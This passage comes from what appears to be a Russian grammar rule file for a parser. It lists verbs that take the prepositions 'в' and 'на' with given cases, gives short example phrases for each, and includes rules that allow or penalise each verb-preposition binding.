rus_verbs:принести{}, // принести в дом бездомного щенка
rus_verbs:отдать{}, // отдать в хорошие руки
rus_verbs:ходить{}, // ходить в школу
rus_verbs:уставиться{}, // уставиться в экран
rus_verbs:приходить{}, // приходить в бешенство
rus_verbs:махнуть{}, // махнуть в Италию
rus_verbs:сунуть{}, // сунуть в замочную скважину
rus_verbs:явиться{}, // явиться в расположение части
rus_verbs:уехать{}, // уехать в город
rus_verbs:целовать{}, // целовать в лобик
rus_verbs:повести{}, // повести в бой
rus_verbs:опуститься{}, // опуститься в кресло
rus_verbs:передать{}, // передать в архив
rus_verbs:побежать{}, // побежать в школу
rus_verbs:стечь{}, // стечь в воду
rus_verbs:уходить{}, // уходить добровольцем в армию
rus_verbs:привести{}, // привести в дом
rus_verbs:шагнуть{}, // шагнуть в неизвестность
rus_verbs:собраться{}, // собраться в поход
rus_verbs:заглянуть{}, // заглянуть в основу
rus_verbs:поспешить{}, // поспешить в церковь
rus_verbs:поцеловать{}, // поцеловать в лоб
rus_verbs:перейти{}, // перейти в высшую лигу
rus_verbs:поверить{}, // поверить в искренность
rus_verbs:глянуть{}, // глянуть в оглавление
rus_verbs:зайти{}, // зайти в кафетерий
rus_verbs:подобрать{}, // подобрать в лесу
rus_verbs:проходить{}, // проходить в помещение
rus_verbs:глядеть{}, // глядеть в глаза
rus_verbs:пригласить{}, // пригласить в театр
rus_verbs:позвать{}, // позвать в класс
rus_verbs:усесться{}, // усесться в кресло
rus_verbs:поступить{}, // поступить в институт
rus_verbs:лечь{}, // лечь в постель
rus_verbs:поклониться{}, // поклониться в пояс
rus_verbs:потянуться{}, // потянуться в лес
rus_verbs:колоть{}, // колоть в ягодицу
rus_verbs:присесть{}, // присесть в кресло
rus_verbs:оглядеться{}, // оглядеться в зеркало
rus_verbs:поглядеть{}, // поглядеть в зеркало
rus_verbs:превратиться{}, // превратиться в лягушку
rus_verbs:принимать{}, // принимать во внимание
rus_verbs:звонить{}, // звонить в колокола
rus_verbs:привезти{}, // привезти в гостиницу
rus_verbs:рухнуть{}, // рухнуть в пропасть
rus_verbs:пускать{}, // пускать в дело
rus_verbs:отвести{}, // отвести в больницу
rus_verbs:сойти{}, // сойти в ад
rus_verbs:набрать{}, // набрать в команду
rus_verbs:собрать{}, // собрать в кулак
rus_verbs:двигаться{}, // двигаться в каюту
rus_verbs:падать{}, // падать в область нуля
rus_verbs:полезть{}, // полезть в драку
rus_verbs:направить{}, // направить в стационар
rus_verbs:приводить{}, // приводить в чувство
rus_verbs:толкнуть{}, // толкнуть в бок
rus_verbs:кинуться{}, // кинуться в драку
rus_verbs:ткнуть{}, // ткнуть в глаз
rus_verbs:заключить{}, // заключить в объятия
rus_verbs:подниматься{}, // подниматься в небо
rus_verbs:расти{}, // расти в глубину
rus_verbs:налить{}, // налить в кружку
rus_verbs:швырнуть{}, // швырнуть в бездну
rus_verbs:прыгнуть{}, // прыгнуть в дверь
rus_verbs:промолчать{}, // промолчать в тряпочку
rus_verbs:садиться{}, // садиться в кресло
rus_verbs:лить{}, // лить в кувшин
rus_verbs:дослать{}, // дослать деталь в держатель
rus_verbs:переслать{}, // переслать в обработчик
rus_verbs:удалиться{}, // удалиться в совещательную комнату
rus_verbs:разглядывать{}, // разглядывать в бинокль
rus_verbs:повесить{}, // повесить в шкаф
инфинитив:походить{ вид:соверш }, // походить в институт
глагол:походить{ вид:соверш },
деепричастие:походив{},
// прилагательное:походивший{вид:соверш},
rus_verbs:помчаться{}, // помчаться в класс
rus_verbs:свалиться{}, // свалиться в яму
rus_verbs:сбежать{}, // сбежать в Англию
rus_verbs:стрелять{}, // стрелять в цель
rus_verbs:обращать{}, // обращать в свою веру
rus_verbs:завести{}, // завести в дом
rus_verbs:приобрести{}, // приобрести в рассрочку
rus_verbs:сбросить{}, // сбросить в яму
rus_verbs:устроиться{}, // устроиться в крупную корпорацию
rus_verbs:погрузиться{}, // погрузиться в пучину
rus_verbs:течь{}, // течь в канаву
rus_verbs:произвести{}, // произвести в звание майора
rus_verbs:метать{}, // метать в цель
rus_verbs:пустить{}, // пустить в дело
rus_verbs:полететь{}, // полететь в Европу
rus_verbs:пропустить{}, // пропустить в здание
rus_verbs:рвануть{}, // рвануть в отпуск
rus_verbs:заходить{}, // заходить в каморку
rus_verbs:нырнуть{}, // нырнуть в прорубь
rus_verbs:рвануться{}, // рвануться в атаку
rus_verbs:приподняться{}, // приподняться в воздух
rus_verbs:превращаться{}, // превращаться в крупную величину
rus_verbs:прокричать{}, // прокричать в ухо
rus_verbs:записать{}, // записать в блокнот
rus_verbs:забраться{}, // забраться в шкаф
rus_verbs:приезжать{}, // приезжать в деревню
rus_verbs:продать{}, // продать в рабство
rus_verbs:проникнуть{}, // проникнуть в центр
rus_verbs:устремиться{}, // устремиться в открытое море
rus_verbs:посадить{}, // посадить в кресло
rus_verbs:упереться{}, // упереться в пол
rus_verbs:ринуться{}, // ринуться в буфет
rus_verbs:отдавать{}, // отдавать в кадетское училище
rus_verbs:отложить{}, // отложить в долгий ящик
rus_verbs:убежать{}, // убежать в приют
rus_verbs:оценить{}, // оценить в миллион долларов
rus_verbs:поднимать{}, // поднимать в стратосферу
rus_verbs:отослать{}, // отослать в квалификационную комиссию
rus_verbs:отодвинуть{}, // отодвинуть в дальний угол
rus_verbs:торопиться{}, // торопиться в школу
rus_verbs:попадаться{}, // попадаться в руки
rus_verbs:поразить{}, // поразить в самое сердце
rus_verbs:доставить{}, // доставить в квартиру
rus_verbs:заслать{}, // заслать в тыл
rus_verbs:сослать{}, // сослать в изгнание
rus_verbs:запустить{}, // запустить в космос
rus_verbs:удариться{}, // удариться в запой
rus_verbs:ударяться{}, // ударяться в крайность
rus_verbs:шептать{}, // шептать в лицо
rus_verbs:уронить{}, // уронить в унитаз
rus_verbs:прорычать{}, // прорычать в микрофон
rus_verbs:засунуть{}, // засунуть в глотку
rus_verbs:плыть{}, // плыть в открытое море
rus_verbs:перенести{}, // перенести в духовку
rus_verbs:светить{}, // светить в лицо
rus_verbs:мчаться{}, // мчаться в ремонт
rus_verbs:стукнуть{}, // стукнуть в лоб
rus_verbs:обрушиться{}, // обрушиться в котлован
rus_verbs:поглядывать{}, // поглядывать в экран
rus_verbs:уложить{}, // уложить в кроватку
инфинитив:попадать{ вид:несоверш }, // попадать в черный список
глагол:попадать{ вид:несоверш },
прилагательное:попадающий{ вид:несоверш },
прилагательное:попадавший{ вид:несоверш },
деепричастие:попадая{},
rus_verbs:провалиться{}, // провалиться в яму
rus_verbs:жаловаться{}, // жаловаться в комиссию
rus_verbs:опоздать{}, // опоздать в школу
rus_verbs:посылать{}, // посылать в парикмахерскую
rus_verbs:погнать{}, // погнать в хлев
rus_verbs:поступать{}, // поступать в институт
rus_verbs:усадить{}, // усадить в кресло
rus_verbs:проиграть{}, // проиграть в рулетку
rus_verbs:прилететь{}, // прилететь в страну
rus_verbs:повалиться{}, // повалиться в траву
rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ
rus_verbs:лезть{}, // лезть в чужие дела
rus_verbs:потащить{}, // потащить в суд
rus_verbs:направляться{}, // направляться в порт
rus_verbs:поползти{}, // поползти в другую сторону
rus_verbs:пуститься{}, // пуститься в пляс
rus_verbs:забиться{}, // забиться в нору
rus_verbs:залезть{}, // залезть в конуру
rus_verbs:сдать{}, // сдать в утиль
rus_verbs:тронуться{}, // тронуться в путь
rus_verbs:сыграть{}, // сыграть в шахматы
rus_verbs:перевернуть{}, // перевернуть в более удобную позу
rus_verbs:сжимать{}, // сжимать пальцы в кулак
rus_verbs:подтолкнуть{}, // подтолкнуть в бок
rus_verbs:отнести{}, // отнести животное в лечебницу
rus_verbs:одеться{}, // одеться в зимнюю одежду
rus_verbs:плюнуть{}, // плюнуть в колодец
rus_verbs:передавать{}, // передавать в прокуратуру
rus_verbs:отскочить{}, // отскочить в лоб
rus_verbs:призвать{}, // призвать в армию
rus_verbs:увезти{}, // увезти в деревню
rus_verbs:улечься{}, // улечься в кроватку
rus_verbs:отшатнуться{}, // отшатнуться в сторону
rus_verbs:ложиться{}, // ложиться в постель
rus_verbs:пролететь{}, // пролететь в конец
rus_verbs:класть{}, // класть в сейф
rus_verbs:доставлять{}, // доставлять в кабинет
rus_verbs:приобретать{}, // приобретать в кредит
rus_verbs:сводить{}, // сводить в театр
rus_verbs:унести{}, // унести в могилу
rus_verbs:покатиться{}, // покатиться в яму
rus_verbs:сходить{}, // сходить в магазинчик
rus_verbs:спустить{}, // спустить в канализацию
rus_verbs:проникать{}, // проникать в сердцевину
rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд
rus_verbs:пожаловаться{}, // пожаловаться в администрацию
rus_verbs:стучать{}, // стучать в металлическую дверь
rus_verbs:тащить{}, // тащить в ремонт
rus_verbs:заглядывать{}, // заглядывать в ответы
rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена
rus_verbs:увести{}, // увести в следующий кабинет
rus_verbs:успевать{}, // успевать в школу
rus_verbs:пробраться{}, // пробраться в собачью конуру
rus_verbs:подавать{}, // подавать в суд
rus_verbs:прибежать{}, // прибежать в конюшню
rus_verbs:рассмотреть{}, // рассмотреть в микроскоп
rus_verbs:пнуть{}, // пнуть в живот
rus_verbs:завернуть{}, // завернуть в декоративную пленку
rus_verbs:уезжать{}, // уезжать в деревню
rus_verbs:привлекать{}, // привлекать в свои ряды
rus_verbs:перебраться{}, // перебраться в прибрежный город
rus_verbs:долить{}, // долить в коктейль
rus_verbs:палить{}, // палить в нападающих
rus_verbs:отобрать{}, // отобрать в коллекцию
rus_verbs:улететь{}, // улететь в неизвестность
rus_verbs:выглянуть{}, // выглянуть в окно
rus_verbs:выглядывать{}, // выглядывать в окно
rus_verbs:пробираться{}, // грабитель, пробирающийся в дом
инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог
глагол:написать{ aux stress="напис^ать"},
прилагательное:написавший{ aux stress="напис^авший"},
rus_verbs:свернуть{}, // свернуть в колечко
инфинитив:сползать{ вид:несоверш }, // сползать в овраг
глагол:сползать{ вид:несоверш },
прилагательное:сползающий{ вид:несоверш },
прилагательное:сползавший{ вид:несоверш },
rus_verbs:барабанить{}, // барабанить в дверь
rus_verbs:дописывать{}, // дописывать в конец
rus_verbs:меняться{}, // меняться в лучшую сторону
rus_verbs:измениться{}, // измениться в лучшую сторону
rus_verbs:изменяться{}, // изменяться в лучшую сторону
rus_verbs:вписаться{}, // вписаться в поворот
rus_verbs:вписываться{}, // вписываться в повороты
rus_verbs:переработать{}, // переработать в удобрение
rus_verbs:перерабатывать{}, // перерабатывать в удобрение
rus_verbs:уползать{}, // уползать в тень
rus_verbs:заползать{}, // заползать в нору
rus_verbs:перепрятать{}, // перепрятать в укромное место
rus_verbs:заталкивать{}, // заталкивать в вагон
rus_verbs:преобразовывать{}, // преобразовывать в список
инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список
глагол:конвертировать{ вид:несоверш },
инфинитив:конвертировать{ вид:соверш },
глагол:конвертировать{ вид:соверш },
деепричастие:конвертировав{},
деепричастие:конвертируя{},
rus_verbs:изорвать{}, // Он изорвал газету в клочки.
rus_verbs:выходить{}, // Окна выходят в сад.
rus_verbs:говорить{}, // Он говорил в защиту своего отца.
rus_verbs:вырастать{}, // Он вырастает в большого художника.
rus_verbs:вывести{}, // Он вывел детей в сад.
// инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш },
// глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли.
// прилагательное:раненый{}, // Он был ранен в левую руку.
// прилагательное:одетый{}, // Он был одет в толстое осеннее пальто.
rus_verbs:бухнуться{}, // Он бухнулся в воду.
rus_verbs:склонять{}, // склонять защиту в свою пользу
rus_verbs:впиться{}, // Пиявка впилась в тело.
rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы
rus_verbs:сохранять{}, // сохранить данные в файл
rus_verbs:собирать{}, // собирать игрушки в ящик
rus_verbs:упаковывать{}, // упаковывать вещи в чемодан
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:стрельнуть{}, // стрельни в толпу!
rus_verbs:пулять{}, // пуляй в толпу
rus_verbs:пульнуть{}, // пульни в толпу
rus_verbs:становиться{}, // Становитесь в очередь.
rus_verbs:вписать{}, // Юля вписала свое имя в список.
rus_verbs:вписывать{}, // Мы вписывали свои имена в список
прилагательное:видный{}, // Планета Марс видна в обычный бинокль
rus_verbs:пойти{}, // Девочка рано пошла в школу
rus_verbs:отойти{}, // Эти обычаи отошли в историю.
rus_verbs:бить{}, // Холодный ветер бил ему в лицо.
rus_verbs:входить{}, // Это входит в его обязанности.
rus_verbs:принять{}, // меня приняли в пионеры
rus_verbs:уйти{}, // Правительство РФ ушло в отставку
rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году.
rus_verbs:посвятить{}, // Я посвятил друга в свою тайну.
инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока
rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза.
rus_verbs:идти{}, // Я иду гулять в парк.
rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт.
rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей.
rus_verbs:везти{}, // Учитель везёт детей в лагерь.
rus_verbs:качать{}, // Судно качает во все стороны.
rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами.
rus_verbs:связать{}, // Свяжите свои вещи в узелок.
rus_verbs:пронести{}, // Пронесите стол в дверь.
rus_verbs:вынести{}, // Надо вынести примечания в конец.
rus_verbs:устроить{}, // Она устроила сына в школу.
rus_verbs:угодить{}, // Она угодила головой в дверь.
rus_verbs:отвернуться{}, // Она резко отвернулась в сторону.
rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль.
rus_verbs:обратить{}, // Война обратила город в развалины.
rus_verbs:сойтись{}, // Мы сошлись в школьные годы.
rus_verbs:приехать{}, // Мы приехали в положенный час.
rus_verbs:встать{}, // Дети встали в круг.
rus_verbs:впасть{}, // Из-за болезни он впал в нужду.
rus_verbs:придти{}, // придти в упадок
rus_verbs:заявить{}, // Надо заявить в милицию о краже.
rus_verbs:заявлять{}, // заявлять в полицию
rus_verbs:ехать{}, // Мы будем ехать в Орёл
rus_verbs:окрашиваться{}, // окрашиваться в красный цвет
rus_verbs:решить{}, // Дело решено в пользу истца.
rus_verbs:сесть{}, // Она села в кресло
rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало.
rus_verbs:влезать{}, // он влезает в мою квартирку
rus_verbs:попасться{}, // в мою ловушку попалась мышь
rus_verbs:лететь{}, // Мы летим в Орёл
ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень
ГЛ_ИНФ(взять), // Коля взял в руку камень
ГЛ_ИНФ(поехать), // поехать в круиз
ГЛ_ИНФ(подать), // подать в отставку
инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик
инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик
ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море
ГЛ_ИНФ(постучать) // постучать в дверь
}
// Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } }
then return true
}
#endregion Винительный
// Все остальные варианты по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:в{} * }
then return false,-5
}
#endregion Предлог_В
#region Предлог_НА
// ------------------- С ПРЕДЛОГОМ 'НА' ---------------------------
#region ПРЕДЛОЖНЫЙ
// НА+предложный падеж:
// ЛЕЖАТЬ НА СТОЛЕ
#region VerbList
wordentry_set Гл_НА_Предл=
{
rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета
rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ)
rus_verbs:ПРОСТУПИТЬ{}, //
rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ)
rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ)
rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив)
rus_verbs:ЗАМИРАТЬ{}, //
rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ)
rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ)
rus_verbs:УПОЛЗАТЬ{}, //
rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ)
rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ)
rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ)
rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ)
rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ)
rus_verbs:искриться{},
rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ)
rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ)
rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ)
rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ)
rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ)
rus_verbs:отвести{}, // отвести душу на людях
rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра
rus_verbs:сойтись{},
rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ)
rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ)
rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ)
глагол:ДОСТИЧЬ{},
инфинитив:ДОСТИЧЬ{},
rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте
rus_verbs:РАСКЛАДЫВАТЬ{},
rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ)
rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ)
rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ)
rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ)
rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ)
rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ)
rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта
rus_verbs:подпрыгивать{},
rus_verbs:высветиться{}, // на компьютере высветится твоя подпись
rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах
rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе
rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА)
rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл)
rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл)
rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА)
rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл)
rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл)
rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл)
rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл)
rus_verbs:ОТТОЧИТЬ{},
rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА)
rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл)
инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл)
глагол:НАХОДИТЬСЯ{ вид:несоверш },
прилагательное:находившийся{ вид:несоверш },
прилагательное:находящийся{ вид:несоверш },
деепричастие:находясь{},
rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл)
rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА)
rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА)
rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл)
rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА)
rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл)
rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА)
rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА)
rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА)
rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА)
rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА)
rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА)
rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл)
rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА)
rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА)
rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА)
rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА)
rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА)
rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл)
rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл)
rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на)
rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к)
rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на)
глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте)
деепричастие:вычитав{},
rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на)
rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере
rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере
rus_verbs:развалиться{}, // Антонио развалился на диване
rus_verbs:улечься{}, // Антонио улегся на полу
rus_verbs:зарубить{}, // Заруби себе на носу.
rus_verbs:ценить{}, // Его ценят на заводе.
rus_verbs:вернуться{}, // Отец вернулся на закате.
rus_verbs:шить{}, // Вы умеете шить на машинке?
rus_verbs:бить{}, // Скот бьют на бойне.
rus_verbs:выехать{}, // Мы выехали на рассвете.
rus_verbs:валяться{}, // На полу валяется бумага.
rus_verbs:разложить{}, // она разложила полотенце на песке
rus_verbs:заниматься{}, // я занимаюсь на тренажере
rus_verbs:позаниматься{},
rus_verbs:порхать{}, // порхать на лугу
rus_verbs:пресекать{}, // пресекать на корню
rus_verbs:изъясняться{}, // изъясняться на непонятном языке
rus_verbs:развесить{}, // развесить на столбах
rus_verbs:обрасти{}, // обрасти на южной части
rus_verbs:откладываться{}, // откладываться на стенках артерий
rus_verbs:уносить{}, // уносить на носилках
rus_verbs:проплыть{}, // проплыть на плоту
rus_verbs:подъезжать{}, // подъезжать на повозках
rus_verbs:пульсировать{}, // пульсировать на лбу
rus_verbs:рассесться{}, // птицы расселись на ветках
rus_verbs:застопориться{}, // застопориться на первом пункте
rus_verbs:изловить{}, // изловить на окраинах
rus_verbs:покататься{}, // покататься на машинках
rus_verbs:залопотать{}, // залопотать на неизвестном языке
rus_verbs:растягивать{}, // растягивать на станке
rus_verbs:поделывать{}, // поделывать на пляже
rus_verbs:подстеречь{}, // подстеречь на площадке
rus_verbs:проектировать{}, // проектировать на компьютере
rus_verbs:притулиться{}, // притулиться на кушетке
rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище
rus_verbs:пострелять{}, // пострелять на испытательном полигоне
rus_verbs:засиживаться{}, // засиживаться на работе
rus_verbs:нежиться{}, // нежиться на солнышке
rus_verbs:притомиться{}, // притомиться на рабочем месте
rus_verbs:поселяться{}, // поселяться на чердаке
rus_verbs:потягиваться{}, // потягиваться на земле
rus_verbs:отлеживаться{}, // отлеживаться на койке
rus_verbs:протаранить{}, // протаранить на танке
rus_verbs:гарцевать{}, // гарцевать на коне
rus_verbs:облупиться{}, // облупиться на носу
rus_verbs:оговорить{}, // оговорить на собеседовании
rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте
rus_verbs:отпечатать{}, // отпечатать на картоне
rus_verbs:сэкономить{}, // сэкономить на мелочах
rus_verbs:покатать{}, // покатать на пони
rus_verbs:колесить{}, // колесить на старой машине
rus_verbs:понастроить{}, // понастроить на участках
rus_verbs:поджарить{}, // поджарить на костре
rus_verbs:узнаваться{}, // узнаваться на фотографии
rus_verbs:отощать{}, // отощать на казенных харчах
rus_verbs:редеть{}, // редеть на макушке
rus_verbs:оглашать{}, // оглашать на общем собрании
rus_verbs:лопотать{}, // лопотать на иврите
rus_verbs:пригреть{}, // пригреть на груди
rus_verbs:консультироваться{}, // консультироваться на форуме
rus_verbs:приноситься{}, // приноситься на одежде
